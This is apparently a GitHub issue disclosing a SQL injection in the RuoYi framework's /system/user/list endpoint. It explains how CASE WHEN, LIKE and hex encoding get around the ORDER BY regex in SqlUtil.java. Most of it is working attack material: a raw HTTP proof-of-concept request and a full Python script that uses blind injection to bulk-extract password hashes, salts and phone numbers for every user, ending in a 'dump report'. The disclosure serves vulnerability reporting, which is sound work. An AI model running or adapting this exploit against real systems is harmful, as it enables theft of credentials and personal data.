Skip to content

SQL注入 system/user/list 接口 #310

@yellatiamo

Description

@yellatiamo

1. 漏洞摘要 / Executive Summary

在 RuoYi 框架的 /system/user/list 接口(以及其他使用相同排序逻辑的接口)中存在 SQL 注入漏洞。虽然框架使用了 SqlUtil.javaORDER BY 参数进行了正则校验,但攻击者可以通过构造特殊的 SQL 语句绕过该正则限制。

攻击者可以在不使用被禁止字符(如括号 ()、引号 '、等号 =)的情况下,利用 CASE WHEN 逻辑、LIKE 运算符和十六进制编码(Hex Encoding),实现布尔盲注(Boolean Blind SQL Injection)。该漏洞允许未授权或低权限攻击者从 sys_user 表中批量提取敏感数据(如密码哈希、手机号、邮箱等)。

2. 漏洞根源分析 / Root Cause Analysis

脆弱组件

  • 文件: ruoyi-common/src/main/java/com/ruoyi/common/utils/sql/SqlUtil.java
  • 方法: escapeOrderBySql(String value) & isValidOrderBySql(String value)

详细分析

框架试图使用正则表达式白名单来清洗 ORDER BY 子句:

// SqlUtil.java 中的当前正则
public static String SQL_PATTERN = "[a-zA-Z0-9_\\ \\,\\.]+";

该正则成功拦截了常见的注入符号,如 ' (单引号), " (双引号), ( (左括号), ) (右括号), = (等号)。但是,它允许字母、数字、下划线、空格、逗号和点号。

绕过逻辑 (Bypass):
攻击者可以仅使用允许的字符构造合法的 SQL 逻辑判断语句:

  1. 逻辑控制: 使用 CASE WHEN ... THEN ... ELSE ... END 替代 IF() 函数(不需要括号)。
  2. 字符串处理: 使用十六进制编码(如 0x61646d696e)替代字符串字面量(不需要引号)。MySQL 原生支持 Hex 与字符串的比较。
  3. 比较操作: 使用 LIKE 替代 =(不需要等号)。

通过上述组合,攻击者可以将 isAsc 参数变为一个逻辑侧信道,根据排序结果的改变来推断数据。

3. 漏洞复现 (PoC) / Proof of Concept

3.1 HTTP 请求 Payload

以下请求演示了如何通过 isAsc 参数注入逻辑判断。

目标 URL: http://127.0.0.1/system/user/list

Method: POST

POST /system/user/list HTTP/1.1
Host: 127.0.0.1
Content-Type: application/x-www-form-urlencoded
Cookie: JSESSIONID=YOUR_SESSION_ID
X-Requested-With: XMLHttpRequest

pageNum=1&pageSize=10&orderByColumn=status&isAsc=, CASE WHEN u.user_id LIKE 2 THEN CASE WHEN u.password LIKE 0x24326125 THEN 0 ELSE 2 END ELSE 1 END

Payload 解析:

  • u.user_id LIKE 2: 锁定目标用户(例如 ID 为 2 的用户)。
  • u.password LIKE 0x24326125: 判断密码字段是否以 $2a% 开头(Hex 编码)。
  • 注入逻辑: 如果上述条件成立,该用户在结果集中的排序权重设为 0(置顶);否则权重设为 2(置底)。其他用户权重为 1
  • 观察点: 攻击者只需观察 ID 为 2 的用户是否排在列表第一位,即可确认猜测是否正确。
Image

3.2 EXP脚本 (Python)

以下脚本演示了如何利用该漏洞,在没有任何报错回显的情况下,逐位提取用户的密码哈希。

import requests
import binascii
import sys
import time
import json

# --- 配置区域 ---
# 替换为你最新的 Cookie
COOKIE_VAL = "6553c264-d6e6-4d4d-be31-1782d8a610d4"
TARGET_URL = "http://127.0.0.1/system/user/list"

# 设置请求头
HEADERS = {
    "Content-Type": "application/x-www-form-urlencoded",
    "X-Requested-With": "XMLHttpRequest",
    "Cookie": f"JSESSIONID={COOKIE_VAL}",
    "User-Agent": "Mozilla/5.0"
}

# 需要提取的字段列表 (数据库列名)
# 若依默认表别名为 u, 所以是 u.password, u.salt 等
COLUMNS_TO_EXTRACT = [
    {"name": "password", "desc": "密码哈希", "charset": "$a210.bcdefghijklmnopqrstuvwxyzABCDEFGHIJKLMNOPQRSTUVWXYZ3456789/"},
    {"name": "salt", "desc": "加密盐值", "charset": "abcdefghijklmnopqrstuvwxyz0123456789"},
    {"name": "phonenumber", "desc": "手机号码", "charset": "0123456789"}
]

def string_to_hex_pattern(s):
    # 将字符串转为 hex,并附加 % 的 hex 值 (25)
    return "0x" + binascii.hexlify(s.encode()).decode() + "25"

def get_all_users():
    """
    第一步:获取当前列表可见的所有用户 ID
    """
    print("[*] 正在获取用户列表...")
    data = {
        "pageNum": "1",
        "pageSize": "100", # 尝试获取多一点
        "orderByColumn": "createTime",
        "isAsc": "asc"
    }
    try:
        res = requests.post(TARGET_URL, headers=HEADERS, data=data, timeout=10)
        if res.status_code == 200:
            json_data = res.json()
            users = []
            if "rows" in json_data:
                for row in json_data["rows"]:
                    users.append({
                        "id": row["userId"],
                        "name": row["loginName"]
                    })
            print(f"[+] 发现 {len(users)} 个用户: {[u['name'] for u in users]}")
            return users
    except Exception as e:
        print(f"[-] 获取用户列表失败: {e}")
        return []
    return []

def extract_column(user_id, user_name, col_config):
    """
    针对特定用户、特定字段进行盲注提取
    """
    col_name = col_config["name"]
    desc = col_config["desc"]
    charset = col_config["charset"]
    
    print(f"\n    -> 正在提取 [{user_name}] 的 {desc} (u.{col_name})...")
    
    extracted_val = ""
    
    while True:
        found_char = False
        for char in charset:
            current_guess = extracted_val + char
            hex_pattern = string_to_hex_pattern(current_guess)
            
            # --- 核心 Payload ---
            # 逻辑: u.user_id LIKE {id} AND u.{col} LIKE {hex} -> 排第一 (0)
            # 否则 -> 排其他 (1 或 2)
            # 这里的 LIKE 代替了 =
            payload = f", CASE WHEN u.user_id LIKE {user_id} THEN CASE WHEN u.{col_name} LIKE {hex_pattern} THEN 0 ELSE 2 END ELSE 1 END"
            
            data = {
                "pageNum": "1",
                "pageSize": "10", 
                "orderByColumn": "status", # 必须使用非唯一字段作为主排序
                "isAsc": payload
            }
            
            try:
                res = requests.post(TARGET_URL, headers=HEADERS, data=data, timeout=5)
                if res.status_code == 200:
                    json_data = res.json()
                    if "rows" in json_data and len(json_data["rows"]) > 0:
                        first_id = json_data["rows"][0]["userId"]
                        
                        # 判定:如果排第一的是目标用户,说明猜对了
                        if first_id == user_id:
                            extracted_val += char
                            sys.stdout.write(f"\r       发现字符: {extracted_val}")
                            sys.stdout.flush()
                            found_char = True
                            break
            except Exception:
                pass
        
        if not found_char:
            break
            
    return extracted_val

def main():
    print("=== RuoYi OrderBy 批量信息提取脚本 (Bypass Regex) ===\n")
    
    # 1. 获取所有用户
    users = get_all_users()
    
    if not users:
        print("[-] 未找到用户或无法连接,请检查 Cookie。")
        return

    # 2. 遍历提取
    final_results = {}
    
    for user in users:
        uid = user["id"]
        uname = user["name"]
        
        print(f"\n[*] 开始处理用户: {uname} (ID: {uid})")
        user_data = {}
        
        for col in COLUMNS_TO_EXTRACT:
            val = extract_column(uid, uname, col)
            user_data[col["name"]] = val
            if val:
                print(f"\n       [+] {col['desc']}: {val}")
            else:
                print(f"\n       [-] {col['desc']}: 未提取到数据")
        
        final_results[uname] = user_data

    # 3. 输出最终报告
    print("\n\n" + "="*30)
    print("      最终脱库报告      ")
    print("="*30)
    for name, info in final_results.items():
        print(f"用户: {name}")
        print(f"  密码: {info.get('password', 'N/A')}")
        print(f"  盐值: {info.get('salt', 'N/A')}")
        print(f"  手机: {info.get('phonenumber', 'N/A')}")
        print("-" * 20)

if __name__ == "__main__":
    main()
Image Image

Metadata

Metadata

Assignees

No one assigned

    Labels

    No labels
    No labels

    Projects

    No projects

    Milestone

    No milestone

    Relationships

    None yet

    Development

    No branches or pull requests

    Issue actions